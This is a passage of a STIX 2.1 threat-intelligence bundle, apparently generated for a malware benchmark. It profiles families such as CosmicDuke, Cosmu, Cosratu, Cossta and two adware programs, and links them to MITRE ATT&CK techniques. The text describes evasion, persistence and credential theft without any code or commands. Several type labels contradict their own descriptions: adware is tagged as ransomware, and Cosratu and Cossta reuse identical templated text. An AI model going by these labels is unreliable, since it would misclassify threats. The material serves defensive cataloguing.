      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d0a6f79-68c6-56ea-8848-357af56f7782",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Corrempa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cosmicduke",
      "description": "Backdoor:Win32/CosmicDuke (also tracked as Bot-Moog, TinyBaron, or Nemor) is an advanced cyber espionage platform developed and deployed by APT29 (Cozy Bear / Russian SVR). First exposed by F-Secure researchers in 2014, CosmicDuke represents a hybrid evolution that fuses the core loader and execution architecture of MiniDuke with comprehensive information-stealing modules borrowed from the Cosmic crimeware family. Engineered for stealthy intelligence collection against government ministries, diplomatic missions, military installations, and energy enterprises across Europe and Central Asia, CosmicDuke aggressively harvests user credentials (from web browsers, instant messaging clients, and remote desktop sessions), captures desktop screenshots, logs keystrokes, and exfiltrates classified Microsoft Office and PDF documents using encrypted WebDAV, FTP, and HTTPS channels. (Observed samples in benchmark: 408)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "CosmicDuke",
        "Bot-Moog",
        "TinyBaron",
        "Nemor",
        "Backdoor:Win32/CosmicDuke",
        "Trojan.CosmicDuke"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cosmicduke",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cosmicduke"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-205A"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b658fd3-759c-5d02-842c-09d75c26a03d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37087415-b5a7-551b-9b89-7ba40059d6f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c029bd3-8f6a-5072-9cdb-338cdcac39b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13b0a090-df24-57fc-b18c-f21314885932",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7a3ea90-e46a-537a-97a3-bce5bdc980a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8236c3f-8f49-5073-aa00-070bf21189de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd400b44-b2a9-586b-80ab-514966adc147",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1546.003: Windows Management Instrumentation Event Subscription",
      "description": "MITRE ATT&CK Technique T1546.003 (Windows Management Instrumentation Event Subscription) under tactic persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1546.003",
          "url": "https://attack.mitre.org/techniques/T1546/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abf31d3a-ee73-53ea-989a-4111e7e3bac4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3703170c-b4ed-52fd-b71e-95d5c8eb3b34",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmicduke exhibits technique T1546.003 (Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9435e56-da75-5949-a2fc-f060a5c1e632",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cosmu",
      "description": "Cosmu (sometimes referred to as Win32/Cosmu) is a long-standing family of malware that primarily functions as an information stealer and, in some variants, a worm. Its primary objective is to harvest sensitive data from infected systems, including login credentials, browser passwords, clipboard contents, and system files. Cosmu is known to spread via removable drives like USB sticks and establishes persistence by modifying registry keys. It operates within a command-and-control (C2) botnet infrastructure to exfiltrate stolen data. Historically, it has shared code similarities with the Ramnit family and its loader was combined with MiniDuke to create the CosmicDuke espionage trojan. (Observed samples in benchmark: 218)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cosmu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cosmu"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c7a1ec9-470b-5838-9617-04e66b241e35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9435e56-da75-5949-a2fc-f060a5c1e632",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmu exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaa12428-ffbe-5f06-ad0d-4b0210be2666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9435e56-da75-5949-a2fc-f060a5c1e632",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmu exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f28a9ff0-42ff-5edc-960e-dcdd66615832",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9435e56-da75-5949-a2fc-f060a5c1e632",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmu exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57da5fce-4139-5d93-95e4-123b86ebb64a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9435e56-da75-5949-a2fc-f060a5c1e632",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosmu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac309975-ceb7-522a-838c-215cf0f200c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cosratu",
      "description": "Trojan:Win32/Cosratu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cosratu</b><br>To an end-user, a Cosratu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cosratu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cosratu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cosratu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cosratu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cosratu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cosratu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddf60094-51d7-5fc9-bf3e-e65a48043a64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac309975-ceb7-522a-838c-215cf0f200c7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosratu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb2eeb4e-5993-57d4-92bc-f4fa979e3586",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac309975-ceb7-522a-838c-215cf0f200c7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosratu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51fdf656-471a-530d-83b3-2137e7e6da01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac309975-ceb7-522a-838c-215cf0f200c7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosratu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80f467bd-c8ee-5cf8-aeaa-8af9617c2a17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac309975-ceb7-522a-838c-215cf0f200c7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosratu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d05f713e-0a2f-5300-9283-574777aaeae3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac309975-ceb7-522a-838c-215cf0f200c7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cosratu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43ee7138-e012-5836-8c43-83f3ac57be5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cossta",
      "description": "Trojan:Win32/Cossta is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cossta</b><br>To an end-user, a Cossta infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cossta is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cossta is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cossta frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cossta reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cossta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cossta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac9167f5-976c-5382-b171-798a20a7dacf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee7138-e012-5836-8c43-83f3ac57be5a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cossta exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d414f196-54fe-5406-ab32-0da47c8e694a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee7138-e012-5836-8c43-83f3ac57be5a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cossta exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3a34610-ac55-542d-807b-9a2c1db9c0a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee7138-e012-5836-8c43-83f3ac57be5a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cossta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95383fc7-f819-59cf-9546-270843a86328",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee7138-e012-5836-8c43-83f3ac57be5a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cossta exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e48cac4d-13f1-525b-a769-d2830c6f8714",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43ee7138-e012-5836-8c43-83f3ac57be5a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cossta exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74cc3dc3-7944-520f-81db-e686c52ea211",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Couponmarvel",
      "description": "<h3>Executive Summary</h3>\nCouponMarvel is an aggressive Adware application and Potentially Unwanted Program (PUP) primarily targeting Windows operating systems. It deceptively markets itself as a helpful shopping assistant designed to provide \"coupons, deals, and price comparisons\" while browsing e-commerce sites. In reality, its primary function is unauthorized monetization through the injection of highly intrusive advertisements and the covert tracking of user web behavior.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCouponMarvel relies almost entirely on deceptive software bundling (pay-per-install networks). Users typically encounter it via fake software update prompts or bundled within \"free\" utilities downloaded from untrustworthy software portals.\n\nUpon execution, CouponMarvel establishes deep integration with the system's web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The adware installs persistent Browser Helper Objects (BHOs) and malicious extensions across Chrome, Firefox, and Internet Explorer. It modifies the browser's default homepage and default search engine to route all traffic through attacker-controlled affiliate portals.</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> CouponMarvel intercepts the rendering of legitimate websites (especially e-commerce sites like Amazon or eBay). It injects its own JavaScript to overlay pages with pop-up ads, sliding banners, and in-text hyperlinks. These ads often promote further malware, technical support scams, or adult content.</li>\n<li><strong>Privacy Violations:</strong> To serve targeted advertisements, CouponMarvel silently tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers in violation of standard privacy practices.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile CouponMarvel is not designed for data destruction like ransomware, it poses a severe threat to user privacy and system stability. The constant ad injection consumes massive CPU and RAM resources, rendering web browsing nearly impossible. Furthermore, the \"malvertising\" networks it relies upon frequently serve as conduits for more severe infections, such as banking trojans or info-stealers.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Uninstallation:</strong> The primary remediation step is to locate and uninstall \"CouponMarvel\" (or any similarly named, recently installed suspicious programs) via the Windows Control Panel.</li>\n<li><strong>Browser Factory Reset:</strong> Because CouponMarvel fundamentally alters browser configurations, the most effective cleanup method is to perform a full factory reset of all installed web browsers. This guarantees the removal of malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for PUPs/Adware) to scan for and remove lingering registry keys (e.g., in `HKLM\\Software`) and orphaned files left behind by the uninstaller.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.CouponMarvel",
        "PUP.CouponMarvel",
        "Win32/Adware.CouponMarvel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Couponmarvel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/couponmarvel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19d0936d-6902-55f6-96ba-0decdb230cd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74cc3dc3-7944-520f-81db-e686c52ea211",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Couponmarvel exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df01b399-6386-5f1e-a051-c56a4ad25d79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74cc3dc3-7944-520f-81db-e686c52ea211",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Couponmarvel exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37e59ba7-6bac-578a-b2d2-f0d36619b451",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74cc3dc3-7944-520f-81db-e686c52ea211",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Couponmarvel exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27fe6955-d690-5ca9-aed1-1f263c1573ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coupons",
      "description": "Adware:Win32/Coupons (often part of a family of 'deal-finding' browser extensions) is an intrusive adware component designed to forcibly alter a user's web browsing experience. It injects unwanted advertisements, pop-ups, and in-text links into legitimate websites, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators under the guise of finding online discounts.<br><br><b>Understanding Coupons Adware</b><br>To an end-user, Coupons manifests as a sudden barrage of pop-up ads offering 'exclusive deals', heavily modified search results, and extreme system sluggishness while browsing. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertising).<br><br><b>Execution and Injection Mechanics</b><br>Coupons is typically distributed via deceptive software bundles or misleading advertisements downloaded from third-party sites (`T1189`). Upon execution, it installs a persistent browser extension (`T1176`) in Chrome, Edge, or Firefox. It may also modify the Windows Registry (`T1112`) to enforce its settings (`T1562.001`). Once active, it intercepts web traffic locally, inserting its own JavaScript into the DOM of every webpage the user visits to render its own advertisements, effectively performing a localized Man-in-the-Middle (MitM) attack for ad fraud.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, potential privacy violations (tracking of shopping and search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for unexpected additions to browser extension directories or unverified binaries loading into the browser process space. Network IoCs include DNS queries resolving to the adware's tracking infrastructure and HTTP requests injecting the 'coupon' overlay scripts. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coupons",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coupons"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51b2589b-edc1-57d8-8689-f993319683be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27fe6955-d690-5ca9-aed1-1f263c1573ac",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coupons exhibits technique T1176 (Browser Extensions (Installing malicious adware add-ons))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1dc0e77-afa4-5bfd-b6b2-eb426831a73f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27fe6955-d690-5ca9-aed1-1f263c1573ac",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coupons exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32c1d439-96d0-5754-8097-958f619728aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27fe6955-d690-5ca9-aed1-1f263c1573ac",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coupons exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70ba1dd9-b003-5e4f-8608-25306eee1658",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27fe6955-d690-5ca9-aed1-1f263c1573ac",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coupons exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--80b91358-b07f-5b6e-a742-fccb5f8a5124",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
